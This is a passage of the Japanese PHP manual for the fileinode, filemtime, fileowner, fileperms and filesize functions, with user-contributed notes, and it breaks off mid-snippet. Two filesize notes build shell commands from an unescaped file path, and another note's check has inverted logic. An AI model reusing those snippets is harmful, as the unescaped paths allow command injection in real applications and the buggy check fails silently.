PHP 5.0.0 以降、この関数は、 何らかの URL ラッパーと組合せて使用することができます。 どのラッパーが stat() ファミリーをサポートしているかを調べるには サポートするプロトコル/ラッパー を参照してください。

参考

  • fileowner() - ファイルの所有者を取得する
  • posix_getgrgid() - 指定したグループ ID を有するグループに関する情報を返す

User Contributed Notes

chris at ocproducts dot com 02-Mar-2020 03:48
This function will always return 0 on Windows, because Windows does not support numeric group IDs.


ファイルの inode を取得する

  • ≪ filegroup
  • filemtime ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルの inode を取得する

fileinode

(PHP 4, PHP 5, PHP 7, PHP 8)

fileinode — ファイルの inode を取得する

説明

fileinode ( string $filename ) : int|false

ファイルの inode を取得します。

パラメータ

filename

ファイルへのパス。

返り値

ファイルの inode 番号を返し、失敗した場合に false を返します。

例

例1 現在のファイルとのファイルの inode の比較

<?php
$filename = 'index.php';
if (getmyinode() == fileinode($filename)) {
    echo 'You are checking the current file.';
}
?>

エラー / 例外

失敗したときは E_WARNING が発生します。

注意

注意: この関数の結果は キャッシュされます。詳細は、clearstatcache() を参照してください。

ヒント

PHP 5.0.0 以降、この関数は、 何らかの URL ラッパーと組合せて使用することができます。 どのラッパーが stat() ファミリーをサポートしているかを調べるには サポートするプロトコル/ラッパー を参照してください。

参考

  • getmyinode() - 現在のスクリプトの inode を取得する
  • stat() - ファイルに関する情報を取得する

User Contributed Notes

sofe2038 at gmail dot com 19-Jul-2020 07:50
As documented in https://www.php.net/manual/en/function.stat.php#refsect1-function.stat-returnvalues:
> On Windows, as of PHP 7.4.0, this is the identifier associated with the file, which is a 64-bit unsigned integer, so may overflow. Previously, it was always 0.

It appears that fileinode shares the same underlying implementation.


ファイルの更新時刻を取得する

  • ≪ fileinode
  • fileowner ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルの更新時刻を取得する

filemtime

(PHP 4, PHP 5, PHP 7, PHP 8)

filemtime — ファイルの更新時刻を取得する

説明

filemtime ( string $filename ) : int|false

この関数は、ファイルのブロックデータが書き込まれた時間を返します。 これは、ファイルの内容が変更された際の時間です。

パラメータ

filename

ファイルへのパス。

返り値

ファイルの最終更新時刻を返し、失敗した場合に false を返します 時間は Unix タイムスタンプとして返されます。 この関数の結果は date() 等で使用できます。

例

例1 filemtime() の例

<?php
// 出力例 somefile.txt was last modified: December 29 2002 22:16:23.

$filename = 'somefile.txt';
if (file_exists($filename)) {
    echo "$filename was last modified: " . date ("F d Y H:i:s.", filemtime($filename));
}
?>

エラー / 例外

失敗したときは E_WARNING が発生します。

注意

注意:

時刻の精度は、 ファイルシステムによって異なることがあります。

注意: この関数の結果は キャッシュされます。詳細は、clearstatcache() を参照してください。

ヒント

PHP 5.0.0 以降、この関数は、 何らかの URL ラッパーと組合せて使用することができます。 どのラッパーが stat() ファミリーをサポートしているかを調べるには サポートするプロトコル/ラッパー を参照してください。

参考

  • filectime() - ファイルの inode 変更時刻を取得する
  • stat() - ファイルに関する情報を取得する
  • touch() - ファイルの最終アクセス時刻および最終更新日をセットする
  • getlastmod() - 最終更新時刻を取得する

User Contributed Notes

Steve GS 09-Jan-2020 10:39
If the file is not in the same directory as the executing script, a failure will result unless you use $_SERVER.  This is because, like file_exists(), the command works on a file system, not via HTTP.  So this will NOT work properly (and will probably show a warning):

echo '<img src="' . $home_url . '/images/image.jpg?v=' . filemtime ($home_url . '/images/image.jpg') . '" />';

but this will:

echo '<img src="' . $home_url . '/images/image.jpg?v=' . filemtime ($_SERVER['DOCUMENT_ROOT'] . '/images/image.jpg') . '" />';

The second script above will ensure any updated image is guaranteed to replace its predecessor without forcing the browser to reload the image on every visit.
Don 12-Aug-2015 06:13
To find the oldest file in a directory :
$directory= "C:\\";

$smallest_time=INF;

$oldest_file='';

if ($handle = opendir($directory)) {

    while (false !== ($file = readdir($handle))) {

        $time=filemtime($directory.'/'.$file);

        if (is_file($directory.'/'.$file)) {

            if ($time < $smallest_time) {
                $oldest_file = $file;
                $smallest_time = $time;
            }
        }
    }
    closedir($handle);
}

echo $oldest_file;
son9ne at gmail dot com 01-Mar-2014 07:58
If you do use:
<?php
$filename = 'somefile.txt';
$fmtime = filemtime($filename);
if (!$fmtime) {
    echo "$filename wurde zuletzt modifiziert:: " . date ("F d Y H:i:s.", $fmtime);
}
?>

Make note that it will throw a warning as the documentation states. While tobias makes a good point for production, when error reporting is off, this can increase your performance over using `file_exists`. However, if error reporting is on and it's writing to a log... this is not the case. Obviously this varies on sever specs and the size of the error log. For most cases, it's still ideal to use the `file_exists` method.
arkadia81 at gmail dot com 04-Oct-2013 01:56
A little amendment to "tobias" post:

Insted of:
$filename = 'somefile.txt';
 $fmtime = filemtime($filename);
 if (!$fmtime) {
     echo "$filename wurde zuletzt modifiziert:: " . date ("F d Y H:i:s.", $fmtime);
}

it should be something like this:
$filename = 'somefile.txt';
 $fmtime = filemtime($filename);
 if ($fmtime != false) {
     echo "$filename wurde zuletzt modifiziert:: " . date ("F d Y H:i:s.", $fmtime);
 }

filemtime() returns false on failure so in the first example it will never display the date modified.
tobias 18-Sep-2013 08:02
The mentioned example:

$filename = 'somefile.txt';
if (file_exists($filename)) {
    echo "$filename wurde zuletzt modifiziert:: " . date ("F d Y H:i:s.", filemtime($filename));
}

works, however is not ideal from a performance point of view of serving static files through PHP, since it basically needs two perform two file system operations (file_exists and filemtime). A more effective way would be to only use filemtime and save the overhead of file_exists using:

$filename = 'somefile.txt';
$fmtime = filemtime($filename);
if (!$fmtime) {
    echo "$filename wurde zuletzt modifiziert:: " . date ("F d Y H:i:s.", $fmtime);
}
nieprzeklinaj at gmail dot com 22-Jan-2013 12:56
Here's a handy little function for smart cache overriding :)
<?php
function img($src, $alt='', $attr='')
{
    if(file_exists($src))
    {
        $lmod = filemtime($src);
        echo '<img src="'.$src.'?lmod='.$lmod.'" alt="'.$alt.'" '.$attr.' />';
    }
}
?>
Will Davies Vasconcelos 17-Feb-2011 10:22
Here is a handy script to create a csv file with file names and the date when files in a given folder were inserted:

<?php
  header("Pragma: public");
  header("Cache-Control: private");
  header("Content-Type: text/csv");
  header("Content-Disposition: attachment; filename=age-of-files.csv");

  $result = array();
  $handle =  opendir(".");
     while ($datei = readdir($handle))
     {
          if (($datei != '.') && ($datei != '..'))
          {
               $file = "./".$datei;
               if (!is_dir($file))
                    $result[] = $file;
          }
     }
     closedir($handle);
  foreach($result as $r)
    if (file_exists($r))
      echo substr($r,2).",".date ("m/d/Y", filemtime($r))."\r\n";
?>
myselfasunder at gmail dot XYZ dot com 31-Oct-2010 02:02
There's a deeply-seated problem with filemtime() under Windows due to the fact that it calls Windows' stat() function, which implements DST (according to this bug: http://bugs.php.net/bug.php?id=40568). The detection of DST on the time of the file is confused by whether the CURRENT time of the current system is currently under DST.

This is a fix for the mother of all annoying bugs:

<?php
function GetCorrectMTime($filePath)
{

    $time = filemtime($filePath);

    $isDST = (date('I', $time) == 1);
    $systemDST = (date('I') == 1);

    $adjustment = 0;

    if($isDST == false && $systemDST == true)
        $adjustment = 3600;

    else if($isDST == true && $systemDST == false)
        $adjustment = -3600;

    else
        $adjustment = 0;

    return ($time + $adjustment);
}
?>

Dustin Oprea
erelsgl at gmail dot com 07-Jun-2010 01:08
Cheaper and dirtier way to code a cache:

<?php
$cache_file = 'URI to cache file';
$cache_life = '120'; //caching time, in seconds

$filemtime = @filemtime($cache_file);  // returns FALSE if file does not exist
if (!$filemtime or (time() - $filemtime >= $cache_life)){
    ob_start();
    resource_consuming_function();
    file_put_contents($cache_file,ob_get_flush());
}else{
    readfile($cache_file);
}
?>
dagger80 07-Apr-2010 12:22
Also on 32-bit systems, filemtime() also does not work for files with modification time set beyond Jan 2038. It is the dreaded time_t overflow bug for unix seconds.

On windows you can set the system time to any arbitrary future date, and any new files you created or edited will automatically change to that future date.

If exec isn't permitted for some reason, and if you could access the file via an web url (e.g. http://localhost/yourfile.txt), another workaround is to get the Last-Modified time from the HTTP headers (e.g. get_headers(url) ), and parse it as a DateTime object.

I have tested it and it works for years like 2050 and 3012.
_michael 01-Feb-2010 11:09
While testing on Windows, I noticed that the precision of filemtime is just 1 second.

So if you use clearstatcache() and filemtime() to check if a file has been modified, it might fail to detect the change. The modifications just have to happen within less than a second.

(I ran into this with Apache on Windows XP.)
Nilo 10-Jan-2010 11:01
Cheap and dirty way to code a cache:

<?php
$cache_file = 'URI to cache file';
$cache_life = '120'; //caching time, in seconds

if (!file_exists($cache_file) or (time() - filemtime($cache_file) >= $cache_life)){
    ob_start();
    resource_consuming_function();
    file_put_contents($cache_file,ob_get_flush());
}else{
    readfile($cache_file);
}
?>
james dot schafer at gotalk dot net dot au 16-Dec-2009 01:36
On the Windows system filectime() returns the creation time. To find the changed time use fileatime() or filemtime().
contacto at hardcode dot com dot ar 31-Aug-2009 08:03
when working with swf files (flash animations), there is a nice way to avoid the browser cache. i used to do this by hand, then i used a random number, but with large animations while working online, it gets boring because the server always downloads the whole animation, even if there was no change.
but...

this will do the trick

base.swf?rand=<?php echo filemtime("base.swf") ?>

<embed src="base.swf?rand=<?php echo filemtime("base.swf") ?>" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="1680" height="1050">
Anonymous 19-Aug-2009 03:52
Please note that many of the functions below that people have provided to get files modified after a certain time in a directory will NOT get all files on a Windows operating system.

If you copy and paste any file inside the folder or into the folder from another folder (such as images that may be used but aren't going to be modified right away), the modified time is not updated on these copied files, only the creation time.

You need to use filectime with filemtime to assure you get copied files that aren't modified but are obviously new.
info at daniel-marschall dot de 22-Jun-2009 03:59
It could be useful to determinate the timestamp of the newest file in a directory. (e.g. if you want to find out when the last change was made to your project).

Following function will help you:

<?php

function getAllFiles($directory, $recursive = true) {
     $result = array();
     $handle =  opendir($directory);
     while ($datei = readdir($handle))
     {
          if (($datei != '.') && ($datei != '..'))
          {
               $file = $directory.$datei;
               if (is_dir($file)) {
                    if ($recursive) {
                         $result = array_merge($result, getAllFiles($file.'/'));
                    }
               } else {
                    $result[] = $file;
               }
          }
     }
     closedir($handle);
     return $result;
}

function getHighestFileTimestamp($directory, $recursive = true) {
     $allFiles = getAllFiles($directory, $recursive);
     $highestKnown = 0;
     foreach ($allFiles as $val) {
          $currentValue = filemtime($val);
          if ($currentValue > $highestKnown) $highestKnown = $currentValue;
     }
     return $highestKnown;
}

// Use example

echo 'The newest file has the time stamp:<br>';
echo date('Y-m-d H:i:s', getHighestFileTimestamp('../'));

?>
geeks at geekman dot info 17-Feb-2008 09:01
This is a very handy function for dealing with browser caching. For example, say you have a stylesheet and you want to make sure everyone has the most recent version. You could rename it every time you edit it, but that would be a pain in the ass. Instead, you can do this:

<?php
echo '<link rel="stylesheet" type="text/css" href="style.css?' . filemtime('style.css') . '" />';
?>

Sample output:

<link rel="stylesheet" type="text/css" href="style.css?1203291283" />

By appending a GET value (the UNIX timestamp) to the stylesheet URL, you make the browser think the stylesheet is dynamic, so it'll reload the stylesheet every time the modification date changes.
solarijj at gmail dot com 08-Mar-2007 12:02
To get the modification date of some remote file, you can use the fine function by notepad at codewalker dot com (with improvements by dma05 at web dot de and madsen at lillesvin dot net).

But you can achieve the same result more easily now with stream_get_meta_data (PHP>4.3.0).

However a problem may arise if some redirection occurs. In such a case, the server HTTP response contains no Last-Modified header, but there is a Location header indicating where to find the file. The function below takes care of any redirections, even multiple redirections, so that you reach the real file of which you want the last modification date.

hih,
JJS.

<?php

// get remote file last modification date (returns unix timestamp)
function GetRemoteLastModified( $uri )
{
    // default
    $unixtime = 0;

    $fp = fopen( $uri, "r" );
    if( !$fp ) {return;}

    $MetaData = stream_get_meta_data( $fp );

    foreach( $MetaData['wrapper_data'] as $response )
    {
        // case: redirection
        if( substr( strtolower($response), 0, 10 ) == 'location: ' )
        {
            $newUri = substr( $response, 10 );
            fclose( $fp );
            return GetRemoteLastModified( $newUri );
        }
        // case: last-modified
        elseif( substr( strtolower($response), 0, 15 ) == 'last-modified: ' )
        {
            $unixtime = strtotime( substr($response, 15) );
            break;
        }
    }
    fclose( $fp );
    return $unixtime;
}
?>
Benan Tumkaya (benantumkaya at yahoo) 14-Aug-2006 02:11
Here is a small but handy script that you can use to find which files in your server are modified after a  date/time that you specify. This script will go through all folders in the specified directory recursively and echo the modified files with the last modified date/time...

//Starts Here
//Put here the directory you want to search for. Put / if you want to search your entire domain
$dir='/';

//Put the date you want to compare with in the format of:  YYYY-mm-dd hh:mm:ss
$comparedatestr="2006-08-12 00:00:00";
$comparedate=strtotime($comparedatestr);

//I run the function here to start the search.
directory_tree($dir,$comparedate);

//This is the function which is doing the search...
function directory_tree($address,$comparedate){

 @$dir = opendir($address);

  if(!$dir){ return 0; }
        while($entry = readdir($dir)){
                if(is_dir("$address/$entry") && ($entry != ".." && $entry != ".")){
                        directory_tree("$address/$entry",$comparedate);
                }
                 else   {

                  if($entry != ".." && $entry != ".") {

                    $fulldir=$address.'/'.$entry;
                    $last_modified = filemtime($fulldir);
                    $last_modified_str= date("Y-m-d h:i:s", $last_modified);

                       if($comparedate < $last_modified)  {
                          echo $fulldir.'=>'.$last_modified_str;
                          echo "<BR>";
                       }

                 }

            }

      }

}
csnyder at chxo dot com 11-Aug-2006 08:59
If PHP's integer type is only 32 bits on your system, filemtime() will fail on files over 2GB with the warning "stat failed". All stat()-related commands will exhibit the same behavior.

As a workaround, you can call the system's stat command to get the modification time of a file:

On FreeBSD:
$mtime = exec ('stat -f %m '. escapeshellarg ($path));

On Linux:
$mtime = exec ('stat -c %Y '. escapeshellarg ($path));

Thanks to "mpb dot mail at gmail dot com" for his/her similar comment on stat().
dma05 at web dot de 23-Apr-2005 02:25
concerning "notepad at codewalkers dot com"'s code:

this code is pretty neat, but i just wanted to note that using the "HEAD"-method instead of the "GET"-method in the http-request might be preferrable, since then not the whole resource is being downloaded...

http/1.1 definiton snippet:
Section "9.4 HEAD"

 The HEAD method is identical to GET except that the server MUST NOT return a message-body in the response. The metainformation contained in the HTTP headers in response to a HEAD request SHOULD be identical to the information sent in response to a GET request. This method can be used for obtaining metainformation about the entity implied by the request without transferring the entity-body itself. This method is often used for testing hypertext links for validity, accessibility, and recent modification. [...]
-- snippet end ---

the code would then be...:

-- snippet ---
fputs($handle,"HEAD $uri[path] HTTP/1.1\r\nHost: $uri[host]\r\n\r\n");
-- snippet end ---

regards, Magnus
notepad at codewalkers dot com 11-Mar-2005 01:53
i needed the ability to grab the mod time of an image on a remote site. the following is the solution with the help of Joe Ferris.

<?php

function filemtime_remote($uri)
{
    $uri = parse_url($uri);
    $handle = @fsockopen($uri['host'],80);
    if(!$handle)
        return 0;

    fputs($handle,"GET $uri[path] HTTP/1.1\r\nHost: $uri[host]\r\n\r\n");
    $result = 0;
    while(!feof($handle))
    {
        $line = fgets($handle,1024);
        if(!trim($line))
            break;

        $col = strpos($line,':');
        if($col !== false)
        {
            $header = trim(substr($line,0,$col));
            $value = trim(substr($line,$col+1));
            if(strtolower($header) == 'last-modified')
            {
                $result = strtotime($value);
                break;
            }
        }
    }
    fclose($handle);
    return $result;
}
// echo filemtime_remote('http://www.somesite.com/someimage.jpg');

?>
habazi at yahoo dot com 21-Feb-2005 10:13
"this is not (necessarily) correct, the modification time of a directory will be the time of the last file *creation* in a directory (and not in it's sub directories)."

This is not (necessarily) correct either. In *nix the timestamp can be independently set. For example the command "touch directory" updates the timestamp of a directory without file creation.

Also file removal will update the timestamp of a directory.
09-Dec-2004 08:30
A comment below states

  "When using this function to get the modified date of a directory,
   it returns the date of the file in that directory that was last modified."

this is not (necessarily) correct, the modification time of a directory will be the time of the last file *creation* in a directory (and not in it's sub directories).
adam at roomvoter dot com 01-May-2004 01:42
The snippet of code earlier that allows you to delete all files older than 2 weeks uses the function (filemtime) - which checks the original create date of the file (filesystem independent).  You MAY want to use filectime() - that looks at when the file was last changed on YOUR file system.

        if (is_dir("$path") )
        {
           $handle=opendir($path);
           while (false!==($file = readdir($handle))) {
               if ($file != "." && $file != "..") {
                   $Diff = (time() - filectime("$path/$file"))/60/60/24;
                   if ($Diff > 14) unlink("$path/$file");

               }
           }
           closedir($handle);
        }
wookie at at no-way dot org 14-Sep-2003 02:17
Another little handy tool; to get the most recent modified time from files in a directory. It even does recursive directories if you set the $doRecursive param to true. Based on a file/directory list function I saw somewhere on this site. ;)

function mostRecentModifiedFileTime($dirName,$doRecursive) {
    $d = dir($dirName);
    $lastModified = 0;
    while($entry = $d->read()) {
        if ($entry != "." && $entry != "..") {
            if (!is_dir($dirName."/".$entry)) {
                $currentModified = filemtime($dirName."/".$entry);
            } else if ($doRecursive && is_dir($dirName."/".$entry)) {
                $currentModified = mostRecentModifiedFileTime($dirName."/".$entry,true);
            }
            if ($currentModified > $lastModified){
                $lastModified = $currentModified;
            }
        }
    }
    $d->close();
    return $lastModified;
}
paranoid at dds dot nl 05-Jun-2003 05:43
To get the last modification time of a directory, you can use this:

<pre>
$getLastModDir = filemtime("/path/to/directory/.");
</pre>

Take note on the last dot which is needed to see the directory as a file and to actually get a last modification date of it.

This comes in handy when you want just one 'last updated' message on the frontpage of your website and still taking all files of your website into account.

Regards,
Frank Keijzers
jay at fudge dot org 29-Jun-1999 01:55
If you want this functionality for the parent web page you should use getlastmod()
i.e.
<?php echo "Last modified: ".date( "F d Y H:i:s.", getlastmod() ); ?>
within the included page... i.e. as a commont footer include for all pages
gerardj at home dot com 19-May-1999 08:27
The above code works fine if you place it on each page you want a date stamp on.  I've found that if you place a reference such as filemtime(__FILE__) in an included or required file, that the modification time of the inherited file will be returned, not the time of the file that did the ineriting.


ファイルの所有者を取得する

  • ≪ filemtime
  • fileperms ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルの所有者を取得する

fileowner

(PHP 4, PHP 5, PHP 7, PHP 8)

fileowner — ファイルの所有者を取得する

説明

fileowner ( string $filename ) : int|false

ファイルの所有者を取得します。

パラメータ

filename

ファイルへのパス。

返り値

ファイルの所有者のユーザー ID を返し、失敗した場合に false を返します。 ユーザー ID は数値で返されます。ユーザー名に変換するには posix_getpwuid() を使用してください。

例

例1 ファイルの所有者の取得

<?php
$filename = 'index.php';
print_r(posix_getpwuid(fileowner($filename)));
?>

エラー / 例外

失敗したときは E_WARNING が発生します。

注意

注意: この関数の結果は キャッシュされます。詳細は、clearstatcache() を参照してください。

ヒント

PHP 5.0.0 以降、この関数は、 何らかの URL ラッパーと組合せて使用することができます。 どのラッパーが stat() ファミリーをサポートしているかを調べるには サポートするプロトコル/ラッパー を参照してください。

参考

  • filegroup() - ファイルのグループを取得する
  • stat() - ファイルに関する情報を取得する
  • posix_getpwuid() - 指定 ID のユーザーに関する情報を返す

User Contributed Notes

chris at ocproducts dot com 02-Mar-2020 03:48
This function will always return 0 on Windows, because Windows does not support numeric user IDs.
dazoe 27-Jun-2010 07:21
Remember to use if(fileowner(...) === FALSE) instead of if(!fileowner()) or if(fileowner() == FLASE) because if the owner was "root" it would return 0.
29-Jan-2006 04:58
Small note: the function resolves symbolic links. That is, if the link is created by user 999 and maps to a file owned by user 666, this function returns 666 :(


ファイルのパーミッションを取得する

  • ≪ fileowner
  • filesize ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルのパーミッションを取得する

fileperms

(PHP 4, PHP 5, PHP 7, PHP 8)

fileperms — ファイルのパーミッションを取得する

説明

fileperms ( string $filename ) : int|false

指定したファイルのパーミッションを取得します。

パラメータ

filename

ファイルへのパス。

返り値

ファイルのパーミッションを数値モードで返します。このモードの下位ビットは chmod() に渡すのと同じ形式です。 しかし、大半のプラットフォームでは、それだけではなく filename のファイル形式に関する情報も含まれます。 以下の例で示すのは、ファイルのパーミッションやファイル形式を POSIX システム (Linux や macOS など) で調べる方法です。

ローカルファイルの場合、その返り値は C ライブラリ関数 stat() が返す構造体の st_mode メンバーの値となります。 どのビットがセットされるかはプラットフォームによって異なるので、 パーミッション部分以外のビットをパースしたい場合は各プラットフォームのドキュメントを参照することをおすすめします。

失敗時に false を返します。

例

例1 八進形式でのパーミッションの表示

<?php
echo substr(sprintf('%o', fileperms('/tmp')), -4);
echo substr(sprintf('%o', fileperms('/etc/passwd')), -4);
?>

上の例の出力は以下となります。

1777
0644

例2 完全なパーミッションの表示

<?php
$perms = fileperms('/etc/passwd');

switch ($perms & 0xF000) {
    case 0xC000: // ソケット
        $info = 's';
        break;
    case 0xA000: // シンボリックリンク
        $info = 'l';
        break;
    case 0x8000: // 通常のファイル
        $info = 'r';
        break;
    case 0x6000: // ブロックスペシャルファイル
        $info = 'b';
        break;
    case 0x4000: // ディレクトリ
        $info = 'd';
        break;
    case 0x2000: // キャラクタスペシャルファイル
        $info = 'c';
        break;
    case 0x1000: // FIFO パイプ
        $info = 'p';
        break;
    default: // 不明
        $info = 'u';
}

// 所有者
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
            (($perms & 0x0800) ? 's' : 'x' ) :
            (($perms & 0x0800) ? 'S' : '-'));

// グループ
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
            (($perms & 0x0400) ? 's' : 'x' ) :
            (($perms & 0x0400) ? 'S' : '-'));

// 全体
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
            (($perms & 0x0200) ? 't' : 'x' ) :
            (($perms & 0x0200) ? 'T' : '-'));

echo $info;
?>

上の例の出力は以下となります。

-rw-r--r--

エラー / 例外

失敗したときは E_WARNING が発生します。

注意

注意: この関数の結果は キャッシュされます。詳細は、clearstatcache() を参照してください。

ヒント

PHP 5.0.0 以降、この関数は、 何らかの URL ラッパーと組合せて使用することができます。 どのラッパーが stat() ファミリーをサポートしているかを調べるには サポートするプロトコル/ラッパー を参照してください。

参考

  • chmod() - ファイルのモードを変更する
  • is_readable() - ファイルが存在し、読み込み可能であるかどうかを知る
  • stat() - ファイルに関する情報を取得する

User Contributed Notes

chris at ocproducts dot com 02-Mar-2020 07:53
Windows has a very different file permission model to Unix and integrates them only minimally.

Here's how Windows calculates the bitmask...

u+w/g+w/o+w is set based on whether the file has the read only flag.

u+r/g+w/o+w is always set.

u+x/g+x/o+x is set based on whether $filename is an inherently executable file (e.g. bat) or a directory.

Windows isn't integrating its ACLs at all.

Here's the source of all this: https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/stat-functions?view=vs-2019 (but it doesn't provide many details)
Dominic 14-Mar-2014 08:24
A small function for the last 3 digits (777/755 ect.)

<?php
function getFilePermission($file) {
        $length = strlen(decoct(fileperms($file)))-3;
        return substr(decoct(fileperms($file)),$length);
}
?>
coolmic at example dot com 23-Aug-2013 03:52
Don't use substr, use bit operator
<?php
decoct(fileperms($file) & 0777); // return "755" for example
?>

If you want to compare permission
<?php
0755 === (fileperms($file) & 0777);
?>
admin at torntech dot com 28-Feb-2012 10:14
This may not be immediately apparent to some, but you can use octdec( $octal_value ) to match the permissions retrieved by file perms

<?php

//assumes file has 2770 permissions
$perm= fileperms( __FILE__ );
$bit = "102770";

printf( "%s\n", octdec( $bit ) );
printf( "%s\n", $perm);

?>
sviscaino123 at hotmail dot fr 15-Jun-2010 12:22
Here is a small function I made : http://pastebin.com/iKky8Vtu
I was bored and I thought it could be useful.

mixed mkperms( string $perms [, bool return_as_string = false [, string $filename ] ] )
Returns permissions given a string in literal format and a filename.
If the file name is omitted, the permissions that the function will return are based on 000-permissions.
If return_as_string is set to true, the result will be output as a 644 format string. Otherwise it will return a string converted to base-10 for chmod.

Examples:

<?php
echo mkperms('u+r', true), "\n"; // 400
echo mkperms('u+rwx,g+rw,o+x', true), "\n"; // 761

touch('myfile.txt'); // Create a file with any permissions
chmod('myfile.txt', mkperms('u=rwx,g=x,o=rw')); // myfile.txt is now at -rwx--xrw-

// Make a file and give it full permissions
touch('somefile.txt');
chmod('somefile.txt', 0777);
echo mkperms('g-w,o-rw', true, 'somefile.txt'); // 751
echo mkperms('u=rwx,g-r,o=-', true, 'somefile.txt'); // 730
// This way you can apply permissions to files
chmod('somefile.txt', mkperms('u=rwx,g-r,o=-', false, 'somefile.txt')); // somefile.txt is now at -rwx-wx---
?>

PS : sorry I had to put it on pastebin, or else it just made the note way too long.
jchris dot fillionr at kitware dot com 02-Apr-2009 02:11
Since the output of decoct( fileperms('.') ) is of the form: 40644

It seems the previous example is wrong, instead you should understand:

To get permissions formatted as "644":
<?php
echo substr(decoct( fileperms('.') ), 2);
?>

To get permissions formatted  as "0644":
<?php
echo substr(decoct( fileperms('.') ), 1);
?>
MartinAngermeier at gmx dot net 29-Oct-2008 12:37
An easy way to calculate fileperms to chmod is this:

substr(decoct(fileperms("test.html")),3);

Displays 666 or 777 (depends on chmod set).

substr(decoct(fileperms("test.html")),2);

Displays 0666 or 0777 and refers immediately to the number set with chmod();
paul2712 at gmail dot com 02-Jun-2007 09:08
Do not forget: clearstatcache();
==============================

When ever you make a:

mkdir($dstdir, 0770 ))

or a:

chmod($dstdir, 0774 );

You have to call:

clearstatcache();

before you can call:

fileperms($dstdir);
chinello at gmail dot com 24-Apr-2007 09:43
On Linux (not tested on Windows), if you want a chmod-like permissions, you can use this function:

<?php
function file_perms($file, $octal = false)
{
    if(!file_exists($file)) return false;

    $perms = fileperms($file);

    $cut = $octal ? 2 : 3;

    return substr(decoct($perms), $cut);
}
?>

Using it:

$ touch foo.bar
$ chmod 0754 foo.bar
<?php
echo file_perms('foo.bar'); // prints: 754
echo file_perms('foo.bar', true); // prints 0754
?>


ファイルのサイズを取得する

  • ≪ fileperms
  • filetype ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルのサイズを取得する

filesize

(PHP 4, PHP 5, PHP 7, PHP 8)

filesize — ファイルのサイズを取得する

説明

filesize ( string $filename ) : int|false

指定したファイルのサイズを取得します。

パラメータ

filename

ファイルへのパス。

返り値

ファイルのサイズを返し、エラーの場合は false を返します (また E_WARNING レベルのエラーを発生させます) 。

注意: PHP の数値型は符号付整数であり、 多くのプラットフォームでは 32 ビットの整数を取るため、 ファイルシステム関数の中には 2GB より大きなファイルについては期待とは違う値を返すものがあります。

例

例1 filesize() の例

<?php

// 出力例 somefile.txt: 1024 bytes

$filename = 'somefile.txt';
echo $filename . ': ' . filesize($filename) . ' bytes';

?>

エラー / 例外

失敗したときは E_WARNING が発生します。

注意

注意: この関数の結果は キャッシュされます。詳細は、clearstatcache() を参照してください。

ヒント

PHP 5.0.0 以降、この関数は、 何らかの URL ラッパーと組合せて使用することができます。 どのラッパーが stat() ファミリーをサポートしているかを調べるには サポートするプロトコル/ラッパー を参照してください。

参考

  • file_exists() - ファイルまたはディレクトリが存在するかどうか調べる

User Contributed Notes

php at yurgon dot de 24-Jul-2020 12:27
<?php
// Quick example to test the return value in order to tell a 0 byte file from a failed call to filesize()

$size = filesize("some.file");

if ($size === FALSE) {
  echo "filesize not available";
} else {
  echo "some.file is $size bytes long";
}

// A shorter version, slightly different
if ( ($size = filesize("some.file")) !== FALSE)
  echo "some.file is $size bytes long";
?>
John Crocker 30-Sep-2019 12:46
The first example given may lead one to assume that this function works with a local filename e.g. $fs = filesize("error_log") but if you manually delete some text, then save and close the file, the next time you check filesize("error_log") it will return the original value, because the value is cached for performance reasons. If you didn't know this, it would look like a nasty bug.

So, everyone tells you to insert clearstatcache() which is supposed to clear the cached value and allow you to retrieve the current file size but it still does nothing and looks like another bug!

However, I found that if you always specify the FULL PATH
e.g. $fs = filesize("/user/some/path/error_log");
then clearstatcache() is not even needed.
PHP-Hasan 12-Jan-2019 05:05
Under Windows 10 filesize obviously cannot work with relative path names. Use absolute path instead. $size = filesize(".\\myfile.txt"); does not work for me while "d:\\MyFiles\\Myfile.txt" will do. The same applys to similar functions like is_file() or stat(). They won't work correctly unless given an absolute path.
Lingasamy Sakthivel 17-Aug-2017 11:27
Using fseek is really slow. This one really better and faster.

    if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') {
        $size = trim(exec("for %F in (\"" . $file . "\") do @echo %~zF"));
    }
    elseif ((PHP_OS == 'Linux') || (PHP_OS == 'FreeBSD') || (PHP_OS == 'Unix') || (PHP_OS == 'SunOS')) {
        $size = trim(shell_exec("stat -c%s " . escapeshellarg($file)));
    } else {
        $size = filesize($file);
    }
synnus at gmail dot com 26-Jul-2017 02:13
<?php

      // Recover all file sizes larger than > 4GB.
      // Works on php 32bits and 64bits and supports linux
      // Used the com_dotnet extension

     function getSize($file) {
        $size = filesize($file);
        if ($size <= 0)
            if (!(strtoupper(substr(PHP_OS, 0, 3)) == 'WIN')) {
                $size = trim(`stat -c%s $file`);
            }
            else{
                $fsobj = new COM("Scripting.FileSystemObject");
                $f = $fsobj->GetFile($file);
                $size = $f->Size;
            }
        return $size;
    }
?>
Damien Dussouillez 20-Jul-2017 06:25
<?php
/**
 * Return file size (even for file > 2 Gb)
 * For file size over PHP_INT_MAX (2 147 483 647), PHP filesize function loops from -PHP_INT_MAX to PHP_INT_MAX.
 *
 * @param string $path Path of the file
 * @return mixed File size or false if error
 */
function realFileSize($path)
{
    if (!file_exists($path))
        return false;

    $size = filesize($path);

    if (!($file = fopen($path, 'rb')))
        return false;

    if ($size >= 0)
    {//Check if it really is a small file (< 2 GB)
        if (fseek($file, 0, SEEK_END) === 0)
        {//It really is a small file
            fclose($file);
            return $size;
        }
    }

    //Quickly jump the first 2 GB with fseek. After that fseek is not working on 32 bit php (it uses int internally)
    $size = PHP_INT_MAX - 1;
    if (fseek($file, PHP_INT_MAX - 1) !== 0)
    {
        fclose($file);
        return false;
    }

    $length = 1024 * 1024;
    while (!feof($file))
    {//Read the file until end
        $read = fread($file, $length);
